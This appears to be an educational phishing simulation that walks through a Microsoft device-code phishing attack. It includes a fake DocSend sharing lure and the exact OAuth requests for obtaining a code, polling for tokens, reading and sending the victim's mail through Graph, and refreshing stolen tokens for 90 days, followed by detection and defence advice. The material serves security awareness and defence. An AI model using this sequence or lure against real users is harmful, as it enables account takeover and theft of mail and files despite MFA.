DF
Shared by
Mr Dodgy Fraud wants to share a document with you
DOCX
Very tempting sounding.docx
Microsoft Word · 2.4 MB · Shared just now
Click here to download
Your auth code is:
Generating code...
Enter this code at microsoft.com/devicelogin to verify your identity and access the document.
This is an educational phishing simulation. Do not use against accounts you do not own.
Victim Identity (decoded from captured JWT)
Scopes Granted
Raw Access Token (first 300 chars)
Refresh Token (first 300 chars — valid up to 90 days)

How This Attack Worked — Step by Step

1

Attacker requests a device code (no authentication required)

The attacker makes a single unauthenticated POST request to Microsoft's public OAuth endpoint. No credentials, no app secret, no registered redirect URI. Just a well-known first-party client ID.

POST https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode Content-Type: application/x-www-form-urlencoded client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c // Microsoft Office (public, first-party) scope=https://graph.microsoft.com/.default offline_access

Microsoft responds with a short human-readable code. This code is not tied to any user account.

200 OK { "user_code": "--------", // the code shown on the fake DocSend page "device_code": "[long opaque string]", // kept by the attacker for polling "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, // 15-minute window "interval": 5 // poll every 5 seconds }
2

Attacker delivers the code via a fake document-sharing page

The attacker hosts a page mimicking a legitimate service (in this case, DocSend). The victim receives a link via email or message. The page displays the code and a "download" button that links to the real microsoft.com/devicelogin. Email security gateways and URL scanners see a legitimate Microsoft URL and do not flag it.

What the victim sees (the page you just saw): ┌──────────────────────────────────────────────┐ │ docsend │ │ │ │ [DF] │ │ Shared by │ │ Mr Dodgy Fraud wants to share │ │ a document with you │ │ │ │ ┌──────────────────────────────────────┐ │ │ │ DOCX Very tempting sounding.docx │ │ │ │ Microsoft Word · 2.4 MB │ │ │ └──────────────────────────────────────┘ │ │ │ │ [ Click here to download ] │ │ → links to microsoft.com/devicelogin │ │ │ │ Your auth code is: │ │ -------- │ │ │ └──────────────────────────────────────────────┘
The victim sees a trusted-looking document sharing page and a real Microsoft domain. There is nothing for email filters to block. The code is just a short string — no malware, no attachments, no suspicious links.
3

Victim authenticates on the real Microsoft login page

The victim clicks "download" or visits microsoft.com/devicelogin, enters the code, signs in with their username and password, and completes MFA. This is entirely legitimate from Microsoft's perspective.

What the victim sees at microsoft.com/devicelogin: https://microsoft.com/devicelogin ┌─────────────────────────────────────┐ │ │ │ Enter the code displayed on your │ │ device or app: │ │ │ │ ┌─────────────────────────────┐ │ │ │ -------- │ │ │ └─────────────────────────────┘ │ │ │ │ [ Continue ] │ │ │ └─────────────────────────────────────┘ Then: email → password → MFA push → "Are you trying to sign in to Microsoft Office?" → Yes
The victim's sign-in appears in Entra ID logs under their real IP address and real device. It looks like a completely normal, legitimate login. MFA is fully satisfied.
4

Attacker polls and receives the victim's tokens

While the victim authenticates, the attacker's script has been polling Microsoft's token endpoint every 5 seconds. The moment the victim completes MFA, the next poll returns a full set of tokens.

POST https://login.microsoftonline.com/organizations/oauth2/v2.0/token Content-Type: application/x-www-form-urlencoded grant_type=urn:ietf:params:oauth:grant-type:device_code client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c device_code=[the opaque string from step 1] // Before victim authenticates: { "error": "authorization_pending" } // After victim completes MFA: 200 OK { "access_token": "eyJ0eXAiOi... (JWT with victim's identity + MFA claim)", "refresh_token": "0.AXYA... (valid for up to 90 days)", "token_type": "Bearer", "expires_in": 5399, "scope": "..." }
The attacker now has the victim's access token and refresh token. These tokens carry the victim's full identity and the MFA claim, so no further MFA is ever required.
5

Attacker uses the tokens to access the victim's resources

With the captured tokens, the attacker can call any Microsoft Graph API endpoint as the victim. Read email, send email, access files, exfiltrate data — all from any IP address, any device, anywhere in the world.

// Read the victim's mailbox: GET https://graph.microsoft.com/v1.0/me/messages Authorization: Bearer [stolen access_token] // Send email as the victim: POST https://graph.microsoft.com/v1.0/me/sendMail Authorization: Bearer [stolen access_token] // Access OneDrive / SharePoint files: GET https://graph.microsoft.com/v1.0/me/drive/root/children Authorization: Bearer [stolen access_token] // When access token expires (~1 hour), silently get a new one: POST https://login.microsoftonline.com/organizations/oauth2/v2.0/token grant_type=refresh_token client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c refresh_token=[stolen refresh_token] // No password, no MFA, no user interaction. Works for up to 90 days.
The refresh token provides persistent access. Every hour, the attacker silently exchanges it for a fresh access token. The victim sees no prompts, no notifications, and no sign of compromise — until someone notices unusual activity in the sign-in logs.
?

Why this is hard to detect

What appears in the Entra ID sign-in logs: Victim's login (Step 3): IP: [victim's real IP] Device: [victim's real device] Application: OfficeHome Status: Success MFA: Satisfied → Looks completely normal Attacker's token usage (Step 5): IP: [VPN / different location] Device: [attacker's device] Application: OfficeHome / Outlook Web / Office365 Shell Status: Success MFA: Satisfied (carried by the token) → Only suspicious because of the IP/device mismatch
The only detection signal is the geographic/device anomaly between the victim's legitimate login and the attacker's subsequent access. Conditional Access policies that restrict device code flow, or that require compliant/managed devices, are the primary defences against this attack.